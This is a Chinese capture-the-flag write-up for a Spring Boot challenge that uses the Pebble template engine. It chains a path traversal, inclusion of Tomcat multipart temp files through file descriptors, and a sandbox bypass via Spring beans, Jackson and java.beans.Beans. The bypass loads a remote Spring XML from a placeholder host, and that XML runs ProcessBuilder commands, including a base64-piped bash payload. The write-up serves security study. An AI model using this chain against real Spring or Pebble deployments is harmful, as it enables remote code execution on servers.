您当前的位置:首页 > 电脑百科 > 程序开发 > 框架

Spring 场景下突破 pebble 模板注入限制

时间:2022-08-10 11:41:21  来源:  作者:Java小文

写在前面

之前周末忙着强网杯,对这道题只做了一半就搁置下来了,最后卡在绕过最新pebble模板引擎RCE那里,今天抽空来继续进行剩下的分析,正好题目里有几个在现实场景当中能用的trick顺便也分享了

题目环境分析

也是挺不错题目直接给了Docker环境便于本地搭建,同时设置了权限需要执行./getflag才能获取获得flag

FROM openjdk:18-slim-bullseyeRUN mkdir /usr/src/AppWORKDIR /usr/src/app# create userRUN groupadd chalusrRUN useradd -ms /bin/bash -g chalusr chalusrCOPY spoink/target/spoink-0.0.1-SNAPSHOT-spring-boot.jar ./COPY spoink/public ./publicCOPY spoink/templates ./templatesCOPY getflag ./RUN chmod 111 ./getflagUSER chalusrCMD ["JAVA", "-jar", "/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar"]

路由只有一个,根据参数x返回指定模板,刚看到这里的时候其实有点懵,毕竟很少见到只给一个路由的代码

@Controllerpublic class HomeController {    public HomeController() {    }    @RequestMapping({"/"})    public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {        return (String)template.orElse("home.pebble");    }}

不过我很快关注到了一个application.properties当中一个很有趣的点,也就是这里没有后缀,因此想到了一个目录穿越的可能

pebble.prefix = templatespebble.suffix =

正文

目录穿越

为什么我说上面那个点很有趣,其实就是第一个想分享的trick,路径穿越,简单来说pebble当中有两个loader一个是classpathloader,另一个是fileloader,优先会在classpath下尝试加载模板文件,如果寻找不到则使用fileloader尝试加载模板文件,其他调用栈不是很重要这里就不多提了

既然想实现任意文件读那第一个就别想了,我们来看第二个,它在
com.mitchellbosecke.pebble.loader.FileLoader#getFile最终加载模板文件内容

可以很明显看到这里没有做路径限制,导致我们可以进行跨目录读任意文件

 

结果如下

 

RCE攻击路径初步构建

因此我们便能成功想到一条能RCE的攻击路径

  1. 上传带恶意内容的模板文件到目标服务器
  2. 利用LFI读取这个模板并RCE

如何上传文件?上传了如何获取?

但是这里就遇到第一个难点,如何上传文件?这里路由当中并没有上传文件的功能点

怎么办?其实很简单,我们也知道,我们的Spring MVC框架是围绕DispatcherServlet来设计的,这个Servlet会把请求分发给各个处理器,并支持可配置的处理器映射、视图渲染、本地化、时区与主题渲染和 文件上传 等功能,好了我都圈出来重点了

在这过程当中它会检查这是否是一个表单请求

 

正好我们也知道spring默认使用内置的Tomcat引擎,

在处理表单的内容当中这会调用
org.Apache.catalina.connector.Request#getParts 去处理解析内容,而这在之前的文章Tomcat文件上传流量层面系列文章当中也提到过,遗忘的可以去 我的博客 考古

废话不多说,类似php的处理一样,它会先将上传的文件保存到一个临时目录再最终复制到目标文件夹,临时文件夹的获取在哪里,在
org.apache.catalina.connector.Request#parseParts

 

发现是通过
javax.servlet.MultipartConfigElement#getLocation 函数获取到保存到临时路径

不难看到这里是空对吧,也就是默认值(默认的话后面会存到/tmp目录下),顺便多提一下,哪里可以设置这个location呢

 

在spring的启动过程当中,会根据
spring.servlet.multipart.location 的值设置这个内容,具体可以自行去参考
org.springframework.boot.autoconfigure.web.servlet.MultipartProperties

@ConfigurationProperties(    prefix = "spring.servlet.multipart",    ignoreUnknownFields = false)public class MultipartProperties {    private boolean enabled = true;    private String location;    private DataSize maxFileSize = DataSize.ofMegabytes(1L);    private DataSize maxRequestSize = DataSize.ofMegabytes(10L);    private DataSize fileSizeThreshold = DataSize.ofBytes(0L);    private boolean resolveLazily = false;    public MultipartProperties() {    }    public boolean getEnabled() {        return this.enabled;    }    public void setEnabled(boolean enabled) {        this.enabled = enabled;    }    public String getLocation() {        return this.location;    }    public void setLocation(String location) {        this.location = location;    }    public DataSize getMaxFileSize() {        return this.maxFileSize;    }    public void setMaxFileSize(DataSize maxFileSize) {        this.maxFileSize = maxFileSize;    }    public DataSize getMaxRequestSize() {        return this.maxRequestSize;    }    public void setMaxRequestSize(DataSize maxRequestSize) {        this.maxRequestSize = maxRequestSize;    }    public DataSize getFileSizeThreshold() {        return this.fileSizeThreshold;    }    public void setFileSizeThreshold(DataSize fileSizeThreshold) {        this.fileSizeThreshold = fileSizeThreshold;    }    public boolean isResolveLazily() {        return this.resolveLazily;    }    public void setResolveLazily(boolean resolveLazily) {        this.resolveLazily = resolveLazily;    }    public MultipartConfigElement createMultipartConfig() {        MultipartConfigFactory factory = new MultipartConfigFactory();        PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull();        map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold);        map.from(this.location).whenHasText().to(factory::setLocation);        map.from(this.maxRequestSize).to(factory::setMaxRequestSize);        map.from(this.maxFileSize).to(factory::setMaxFileSize);        return factory.createMultipartConfig();    }}

ok回到正文,如果这为空,就会保存到默认路径,也就是
javax.servlet.context.tempdir ,实际上就是在/tmp目录下

try {  String locationStr = mce.getLocation();  File location;  if (locationStr != null && locationStr.length() != 0) {    location = new File(locationStr);    if (!location.isAbsolute()) {      location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"), locationStr)).getAbsoluteFile();    }  } else {    location = (File)context.getServletContext().getAttribute("javax.servlet.context.tempdir");  }

这里调试可以看到将会保存在这个看着就不能爆破的文件夹下,

 

且不说前面这个又臭又长的文件夹,在最终生成临时文件时
org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile

还有靠UID随机生成的文件名,真的是不怕麻烦

protected File getTempFile() {  if (this.tempFile == null) {    File tempDir = this.repository;    if (tempDir == null) {      tempDir = new File(System.getProperty("java.io.tmpdir"));    }    String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());    this.tempFile = new File(tempDir, tempFileName);  }  return this.tempFile;}

不过当然我们肯定是有办法的啦,别忘了有个东西叫文件描述符,这玩意儿是啥我想大家都知道,因此我们可以通过上传大文件多线程狂轰乱炸,burp都给我冲起来!不得不说狂轰乱炸法yyds!按理说上传完了以后这玩意儿就应该关闭,结果我发现我停止后,去和yzddmr6吹牛一分钟都还在。

当然其实还可以通过curl命令的--limit-rate参数来限制HTTP请求和回应的带宽,但我觉得burp狂轰乱炸更适合我.

curl --limit-rate 1k -X POST http://vps:1234 -F "<a href="https://paper.seebug.org/cdn-cgi/l/emAIl-protection" data-cfemail="a0c6c9ccc59de0">[email protected]</a>/tmp/1.txt"

 

之后就是如何实现模板注入实现RCE了

利用现有环境Bypass最新版Pebble模板引擎限制

网上随便抄了一个看起来最新的

{% set cmd = 'id' %}{% set bytes = (1).TYPE     .forName('java.lang.Runtime')     .methods[6]     .invoke(null,null)     .exec(cmd)     .inputStream     .readAllBytes() %}{{ (1).TYPE     .forName('java.lang.String')     .constructors[0]     .newInstance(([bytes]).toArray()) }}

结果命令行大大的问号?然后想到了这是最新版修复了之前的问题

 

根据报错内容的显示,接下来我们看看具体做的哪些限制,可以看到够恶心的不能是下面这么多类的实例???并且能调用FORBIDDEN_METHODS 当中的方法,特别是判断是否为Class实例将我们反射的路给断掉了(在这个模板语法当中只能通过xx.class.forName去获取其他对象) ,剩下代码也很简单就不带着读了

public class BlacklistMethodAccessValidator implements MethodAccessValidator {    private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};    public BlacklistMethodAccessValidator() {    }    public boolean isMethodAccessAllowed(Object object, Method method) {        boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);        return !methodForbidden;    }    private boolean isUnsafeMethod(Method member) {        return this.isAnyOfMethods(member, FORBIDDEN_METHODS);    }    private boolean isAnyOfMethods(Method member, String... methods) {        String[] var3 = methods;        int var4 = methods.length;        for(int var5 = 0; var5 < var4; ++var5) {            String method = var3[var5];            if (this.isMethodWithName(member, method)) {                return true;            }        }        return false;    }    private boolean isMethodWithName(Method member, String method) {        return member.getName().equals(method);    }}

如何绕过限制加载任意Class对象

我们也知道Spring 应用程序的许多实例都隐式注册为bean,因此我们能不能从bean当中找到一个对象而这个对象当中保存了classloader对象,通过获取到它我们就能通过执行loadClass加载到任意对象

既然如此,第一反应其实就是想到去上下文中看看有没有这些bean对象,而pebble在初始化上下文时是在
com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.io.Writer, java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale) 当中

可以看到这个map当中存了beans对象,而这个beans对象当中存的是那些bean对象,一方面我们可以直接遍历输出到控制台

 

另一方面我们也可以直接在代码当中看一眼,反正不费事往上看看,可以看到是在
com.mitchellbosecke.pebble.spring.servlet.PebbleView#addVariablesToModel

当中,获取了spring的应用程序上下文并添加到beans属性当中

private void addVariablesToModel(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) {  model.put("beans", new Beans(this.getApplicationContext()));  model.put("request", request);  model.put("response", response);  model.put("session", request.getSession(false));}

因此我们可以通过表达式获取到这个上下文当中注册的bean,去尝试寻找一些其他的属性来绕过限制,

因此为了方便遍历bean当中的类,我们在原路由前加上获取上下文的部分代码

@RequestMapping({"/"})public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {  ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();  org.springframework.web.context.WebApplicationContext context  = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss);  String[] beanDefinitionNames = context.getBeanDefinitionNames();  for (String o:beanDefinitionNames) {    System.out.println(o.toString());  }  return (String)template.orElse("home.pebble");}

重新启动项目并访问可以得到控制台输出

//输出org.springframework.context.annotation.internalConfigurationAnnotationProcessororg.springframework.context.annotation.internalAutowiredAnnotationProcessororg.springframework.context.annotation.internalCommonAnnotationProcessororg.springframework.context.event.internalEventListenerProcessororg.springframework.context.event.internalEventListenerFactoryspoinkApplicationorg.springframework.boot.autoconfigure.internalCachingMetadataReaderFactoryhomeControllerpebbleLoaderorg.springframework.boot.autoconfigure.AutoConfigurationPackagesorg.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfigurationpropertySourcesPlaceholderConfigurerorg.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfigurationwebsocketServletWebServerCustomizerorg.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfigurationorg.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcattomcatServletWebServerFactoryorg.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfigurationservletWebServerFactoryCustomizertomcatServletWebServerFactoryCustomizerorg.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessororg.springframework.boot.context.internalConfigurationPropertiesBinderFactoryorg.springframework.boot.context.internalConfigurationPropertiesBinderorg.springframework.boot.context.properties.BoundConfigurationPropertiesorg.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilterserver-org.springframework.boot.autoconfigure.web.ServerPropertieswebServerFactoryCustomizerBeanPostProcessorerrorPageRegistrarBeanPostProcessororg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfigurationdispatcherServletspring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcPropertiesorg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfigurationdispatcherServletRegistrationorg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfigurationorg.springframework.boot.autoconfigure.task.TaskExecutionAutoConfigurationtaskExecutorBuilderapplicationTaskExecutorspring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionPropertiesorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfigurationerrorbeanNameViewResolverorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfigurationconventionErrorViewResolverspring.web-org.springframework.boot.autoconfigure.web.WebPropertiesorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfigurationerrorAttributesbasicErrorControllererrorPageCustomizerpreserveErrorControllerTargetClassPostProcessororg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfigurationrequestMappingHandlerAdapterrequestMappingHandlerMappingwelcomePageHandlerMappinglocaleResolverthemeResolverflashMapManagermvcConversionServicemvcValidatormvcContentNegotiationManagermvcPatternParsermvcUrlPathHelpermvcPathMatcherviewControllerHandlerMappingbeanNameHandlerMappingrouterFunctionMappingresourceHandlerMappingmvcResourceUrlProviderdefaultServletHandlerMappinghandlerFunctionAdaptermvcUriComponentsContributorhttpRequestHandlerAdaptersimpleControllerHandlerAdapterhandlerExceptionResolvermvcViewResolvermvcHandlerMappingIntrospectorviewNameTranslatororg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapterdefaultViewResolverviewResolverrequestContextFilterorg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfigurationformContentFiltercom.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfigurationpebbleViewResolvercom.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfigurationspringExtensionpebbleEnginepebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebblePropertiesorg.springframework.boot.autoconfigure.jmx.JmxAutoConfigurationmbeanExporterobjectNamingStrategymbeanServerorg.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfigurationspringApplicationAdminRegistrarorg.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfigurationforceAutoProxyCreatorToUseClassProxyingorg.springframework.boot.autoconfigure.aop.AopAutoConfigurationorg.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfigurationapplicationAvailabilityorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfigurationstandardJacksonObjectMapperBuilderCustomizerspring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonPropertiesorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfigurationjacksonObjectMapperBuilderorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfigurationparameterNamesModuleorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfigurationjacksonObjectMapperorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfigurationjsonComponentModuleorg.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfigurationorg.springframework.boot.autoconfigure.context.LifecycleAutoConfigurationlifecycleProcessorspring.lifecycle-org.springframework.boot.autoconfigure.context.LifecyclePropertiesorg.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfigurationstringHttpMessageConverterorg.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfigurationmappingJackson2HttpMessageConverterorg.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfigurationorg.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfigurationmessageConvertersorg.springframework.boot.autoconfigure.info.ProjectInfoAutoConfigurationspring.info-org.springframework.boot.autoconfigure.info.ProjectInfoPropertiesorg.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfigurationspring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationPropertiesorg.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessororg.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfigurationscheduledBeanLazyInitializationExcludeFiltertaskSchedulerBuilderspring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingPropertiesorg.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfigurationrestTemplateBuilderConfigurerrestTemplateBuilderorg.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfigurationtomcatWebServerFactoryCustomizerorg.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfigurationorg.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfigurationcharacterEncodingFilterlocaleCharsetMappingsCustomizerorg.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfigurationmultipartConfigElementmultipartResolverspring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartPropertiesorg.springframework.aop.config.internalAutoProxyCreator

之后也算运气好,测了前几个就发现通过取得
internalCachingMetadataReaderFactory对象可以拿到classLoader

 

因此有了这个我们便可以加载任意类了

{% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("xxxx") %}

但是我们需要获得一个类实例,但是我们不能去调用它的任何方法毕竟是class类,很好的一点是这里有jackson??,beans对象里也能直接获取到,解决一切问题

{% set woshishuaibi =  beans.get("jacksonObjectMapper").readValue("{}", class1) %}

因此我们能获得一个类的实例以后rce就相对“简单”了??,比如说

ScriptEngineManager engineManager = new ScriptEngineManager();ScriptEngine engine = engineManager.getEngineByName("js");engine.eval("xxxx");

但题目当中环境是jdk18,发现
engineManager.getEngineByName里面裤子都不剩了啥都没有,看来这个方法也是没用的,同时由于jackson实例化限制我们也不能直接实例化jshell

此时灵机一动我又想到两个类,它们实例化加载配置文件可以造成rce

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

但是脸黑啊,环境里面jackson有限制,继承了
AbstractPointcutAdvisor/AbstractApplicationContext这两个类的都不行,心里xxx

 

这时候怎么办呢?那classpath下有没有某个类可以帮助我们实例化任意对象呢?

另类绕过Jackson黑名单限制

当然有哒!也就是java.beans.Beans类,这个类可以帮助我们实例化任意方法

public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {  return Beans.instantiate(cls, beanName, null, null);}

这里的参数cls可以不传,为null则会默认调用
ClassLoader.getSystemClassLoader();获取一个classloader

public static Object instantiate(ClassLoader cls, String beanName,                                 BeanContext beanContext,                                 AppletInitializer initializer)  throws IOException, ClassNotFoundException {  InputStream ins;  ObjectInputStream oins = null;  Object result = null;  boolean serialized = false;  IOException serex = null;  // If the given classloader is null, we check if an  // system classloader is available and (if so)  // use that instead.  // Note that calls on the system class loader will  // look in the bootstrap class loader first.  if (cls == null) {    try {      cls = ClassLoader.getSystemClassLoader();    } catch (SecurityException ex) {      // We're not allowed to access the system class loader.      // Drop through.    }  }

之后的逻辑我们不需要关注那个二次反序列化的部分,在后面可以看到可以实例化任意public修饰的构造方法

if (result == null) {  // No serialized object, try just instantiating the class  Class<?> cl;  try {    cl = ClassFinder.findClass(beanName, cls);  } catch (ClassNotFoundException ex) {    // There is no appropriate class.  If we earlier tried to    // deserialize an object and got an IO exception, throw that,    // otherwise rethrow the ClassNotFoundException.    if (serex != null) {      throw serex;    }    throw ex;  }  if (!Modifier.isPublic(cl.getModifiers())) {    throw new ClassNotFoundException("" + cl + " : no public access");  }  /*             * Try to instantiate the class.             */  try {    result = cl.newInstance();  } catch (Exception ex) {    // We have to remap the exception to one in our signature.    // But we pass extra information in the detail message.    throw new ClassNotFoundException("" + cl + " : " + ex, ex);  }}

最终构造实现RCE

最终模板文件构造

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}{{ yyy.setConfigLocation("http://xxxx/1.xml") }}{{ yyy.refresh() }}

1.xml

<?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>open</value>                <value>-a</value>                <value>calculator</value>            </list>            </constructor-arg>        </bean>    </beans>

本地弹出了计算器,那么现在则可以开始着手解题了,

构造命令 ./getflag > /tmp/flag

<?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>bash</value>                <value>-c</value>                <value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value>            </list>            </constructor-arg>        </bean>    </beans>

先用burp狂轰乱炸,看到页面有回显的说明执行成功

 

再包含进来就ok了

 

原文链接:
https://f5.pm/go-121363.html



Tags:Spring   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
Spring Security:保障应用安全的利器
SpringSecurity作为一个功能强大的安全框架,为Java应用程序提供了全面的安全保障,包括认证、授权、防护和集成等方面。本文将介绍SpringSecurity在这些方面的特性和优势,以及它...【详细内容】
2024-02-27  Search: Spring  点击:(62)  评论:(0)  加入收藏
Spring Security权限控制框架使用指南
在常用的后台管理系统中,通常都会有访问权限控制的需求,用于限制不同人员对于接口的访问能力,如果用户不具备指定的权限,则不能访问某些接口。本文将用 waynboot-mall 项目举例...【详细内容】
2024-02-19  Search: Spring  点击:(43)  评论:(0)  加入收藏
详解基于SpringBoot的WebSocket应用开发
在现代Web应用中,实时交互和数据推送的需求日益增长。WebSocket协议作为一种全双工通信协议,允许服务端与客户端之间建立持久性的连接,实现实时、双向的数据传输,极大地提升了用...【详细内容】
2024-01-30  Search: Spring  点击:(23)  评论:(0)  加入收藏
Spring实现Kafka重试Topic,真的太香了
概述Kafka的强大功能之一是每个分区都有一个Consumer的偏移值。该偏移值是消费者将读取的下一条消息的值。可以自动或手动增加该值。如果我们由于错误而无法处理消息并想重...【详细内容】
2024-01-26  Search: Spring  点击:(95)  评论:(0)  加入收藏
SpringBoot如何实现缓存预热?
缓存预热是指在 Spring Boot 项目启动时,预先将数据加载到缓存系统(如 Redis)中的一种机制。那么问题来了,在 Spring Boot 项目启动之后,在什么时候?在哪里可以将数据加载到缓存系...【详细内容】
2024-01-19  Search: Spring  点击:(91)  评论:(0)  加入收藏
Spring Boot2.0深度实践 核心原理拆解+源码分析
Spring Boot2.0深度实践:核心原理拆解与源码分析一、引言Spring Boot是一个基于Java的轻量级框架,它简化了Spring应用程序的创建过程,使得开发者能够快速搭建一个可运行的应用...【详细内容】
2024-01-15  Search: Spring  点击:(101)  评论:(0)  加入收藏
SpringBoot3+Vue3 开发高并发秒杀抢购系统
开发高并发秒杀抢购系统:使用SpringBoot3+Vue3的实践之旅随着互联网技术的发展,电商行业对秒杀抢购系统的需求越来越高。为了满足这种高并发、高流量的场景,我们决定使用Spring...【详细内容】
2024-01-14  Search: Spring  点击:(94)  评论:(0)  加入收藏
Spring Boot 3.0是什么?
Spring Boot 3.0是一款基于Java的开源框架,用于简化Spring应用程序的构建和开发过程。与之前的版本相比,Spring Boot 3.0在多个方面进行了改进和增强,使其更加易用、高效和灵活...【详细内容】
2024-01-11  Search: Spring  点击:(140)  评论:(0)  加入收藏
GraalVM与Spring Boot 3.0:加速应用性能的完美融合
在2023年,SpringBoot3.0的发布标志着Spring框架对GraalVM的全面支持,这一支持是对Spring技术栈的重要补充。GraalVM是一个高性能的多语言虚拟机,它提供了Ahead-of-Time(AOT)编...【详细内容】
2024-01-11  Search: Spring  点击:(135)  评论:(0)  加入收藏
Spring Boot虚拟线程的性能还不如Webflux?
早上看到一篇关于Spring Boot虚拟线程和Webflux性能对比的文章,觉得还不错。内容较长,抓重点给大家介绍一下这篇文章的核心内容,方便大家快速阅读。测试场景作者采用了一个尽可...【详细内容】
2024-01-10  Search: Spring  点击:(135)  评论:(0)  加入收藏
▌简易百科推荐
Qt与Flutter:在跨平台UI框架中哪个更受欢迎?
在跨平台UI框架领域,Qt和Flutter是两个备受瞩目的选择。它们各自具有独特的优势,也各自有着广泛的应用场景。本文将对Qt和Flutter进行详细的比较,以探讨在跨平台UI框架中哪个更...【详细内容】
2024-04-12  刘长伟    Tags:UI框架   点击:(7)  评论:(0)  加入收藏
Web Components实践:如何搭建一个框架无关的AI组件库
一、让人又爱又恨的Web ComponentsWeb Components是一种用于构建可重用的Web元素的技术。它允许开发者创建自定义的HTML元素,这些元素可以在不同的Web应用程序中重复使用,并且...【详细内容】
2024-04-03  京东云开发者    Tags:Web Components   点击:(11)  评论:(0)  加入收藏
Kubernetes 集群 CPU 使用率只有 13% :这下大家该知道如何省钱了
作者 | THE STACK译者 | 刘雅梦策划 | Tina根据 CAST AI 对 4000 个 Kubernetes 集群的分析,Kubernetes 集群通常只使用 13% 的 CPU 和平均 20% 的内存,这表明存在严重的过度...【详细内容】
2024-03-08  InfoQ    Tags:Kubernetes   点击:(23)  评论:(0)  加入收藏
Spring Security:保障应用安全的利器
SpringSecurity作为一个功能强大的安全框架,为Java应用程序提供了全面的安全保障,包括认证、授权、防护和集成等方面。本文将介绍SpringSecurity在这些方面的特性和优势,以及它...【详细内容】
2024-02-27  风舞凋零叶    Tags:Spring Security   点击:(62)  评论:(0)  加入收藏
五大跨平台桌面应用开发框架:Electron、Tauri、Flutter等
一、什么是跨平台桌面应用开发框架跨平台桌面应用开发框架是一种工具或框架,它允许开发者使用一种统一的代码库或语言来创建能够在多个操作系统上运行的桌面应用程序。传统上...【详细内容】
2024-02-26  贝格前端工场    Tags:框架   点击:(52)  评论:(0)  加入收藏
Spring Security权限控制框架使用指南
在常用的后台管理系统中,通常都会有访问权限控制的需求,用于限制不同人员对于接口的访问能力,如果用户不具备指定的权限,则不能访问某些接口。本文将用 waynboot-mall 项目举例...【详细内容】
2024-02-19  程序员wayn  微信公众号  Tags:Spring   点击:(43)  评论:(0)  加入收藏
开发者的Kubernetes懒人指南
你可以将本文作为开发者快速了解 Kubernetes 的指南。从基础知识到更高级的主题,如 Helm Chart,以及所有这些如何影响你作为开发者。译自Kubernetes for Lazy Developers。作...【详细内容】
2024-02-01  云云众生s  微信公众号  Tags:Kubernetes   点击:(58)  评论:(0)  加入收藏
链世界:一种简单而有效的人类行为Agent模型强化学习框架
强化学习是一种机器学习的方法,它通过让智能体(Agent)与环境交互,从而学习如何选择最优的行动来最大化累积的奖励。强化学习在许多领域都有广泛的应用,例如游戏、机器人、自动驾...【详细内容】
2024-01-30  大噬元兽  微信公众号  Tags:框架   点击:(72)  评论:(0)  加入收藏
Spring实现Kafka重试Topic,真的太香了
概述Kafka的强大功能之一是每个分区都有一个Consumer的偏移值。该偏移值是消费者将读取的下一条消息的值。可以自动或手动增加该值。如果我们由于错误而无法处理消息并想重...【详细内容】
2024-01-26  HELLO程序员  微信公众号  Tags:Spring   点击:(95)  评论:(0)  加入收藏
SpringBoot如何实现缓存预热?
缓存预热是指在 Spring Boot 项目启动时,预先将数据加载到缓存系统(如 Redis)中的一种机制。那么问题来了,在 Spring Boot 项目启动之后,在什么时候?在哪里可以将数据加载到缓存系...【详细内容】
2024-01-19   Java中文社群  微信公众号  Tags:SpringBoot   点击:(91)  评论:(0)  加入收藏
站内最新
站内热门
站内头条